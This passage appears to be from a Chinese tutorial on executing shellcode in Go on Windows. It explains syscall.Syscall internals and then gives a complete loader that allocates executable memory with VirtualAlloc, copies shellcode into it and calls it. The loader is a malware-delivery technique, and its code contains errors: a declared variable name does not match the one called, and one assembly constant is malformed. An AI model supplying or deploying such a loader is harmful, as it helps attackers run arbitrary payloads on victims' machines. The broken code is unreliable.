

最简单的一个方法了，使用 `syscall.Syscall` 方法执行 `shellcode` 区域的代码，可以看一个代码：

```
792 func GetLastError() (lasterr error) {  
793     r0, _, _ := Syscall(procGetLastError.Addr(), nargs: 0, a1: 0, a2: 0, a3: 0)  
794     if r0 != 0 {  
795         lasterr = Errno(r0)  
796     }  
797     return  
798 }  
799
```

这是 `syscall.GetLastError` 的具体实现，`procGetLastError` 和 `Syscall` 如下：

```
procGetLastError = modkernel32.NewProc("GetLastError")  
func Syscall(trap, nargs, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
```

其实已经很明显了，`Syscall` 汇编如下：

```
TEXT ·Syscall(SB),NOSPLIT,$0-56  
    CALL    runtime.entersyscall(SB)  
    MOVQ    a1+8(FP), DI  
    MOVQ    a2+16(FP), SI  
    MOVQ    a3+24(FP), DX  
    MOVQ    trap+0(FP), AX // syscall entry  
    SYSCALL  
    CMPQ    AX, $0xfffffffffffffff001  
    JLS     ok  
    MOVQ    $-1, r1+32(FP)  
    MOVQ    $0, r2+40(FP)  
    NEGQ    AX  
    MOVQ    AX, err+48(FP)  
    CALL    runtime.exitsyscall(SB)  
    RET  
ok:  
    MOVQ    AX, r1+32(FP)  
    MOVQ    DX, r2+40(FP)  
    MOVQ    $0, err+48(FP)  
    CALL    runtime.exitsyscall(SB)  
    RET
```

所以我们只需要传入 `shellcode` 在内存中的起始地址就可以了，其余的都是0。而这已经是最接近汇编的地方了，而我们使用的 `VirtualAlloc.Call` 等函数调用的底层也是使用了 `Syscall` 函数。

```

178 func (p *Proc) Call(a ...uintptr) (r1, r2 uintptr, lastErr error) {
179     switch len(a) {
180     case 0:
181         return Syscall(p.Addr(), uintptr(len(a)), a1: 0, a2: 0, a3: 0)
182     case 1:
183         return Syscall(p.Addr(), uintptr(len(a)), a[0], a2: 0, a3: 0)
184     case 2:
185         return Syscall(p.Addr(), uintptr(len(a)), a[0], a[1], a3: 0)
186     case 3:
187         return Syscall(p.Addr(), uintptr(len(a)), a[0], a[1], a[2])
188     case 4:
189         return Syscall6(p.Addr(), uintptr(len(a)), a[0], a[1], a[2], a[3], a5: 0, a6: 0)
190     case 5:

```

代码如下:

```

package main

import (
    "syscall"
    "unsafe"
)

var (
    kernel32      = syscall.NewLazyDLL("kernel32.dll")
    ntdll          = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory")
)

func main() {
    shellcode := []byte{}

    //PAGE_READWRITE_EXECUTE
    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x4
0)

    RtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(s
hellcode)))

    syscall.Syscall(addr, 0, 0, 0, 0)
}

```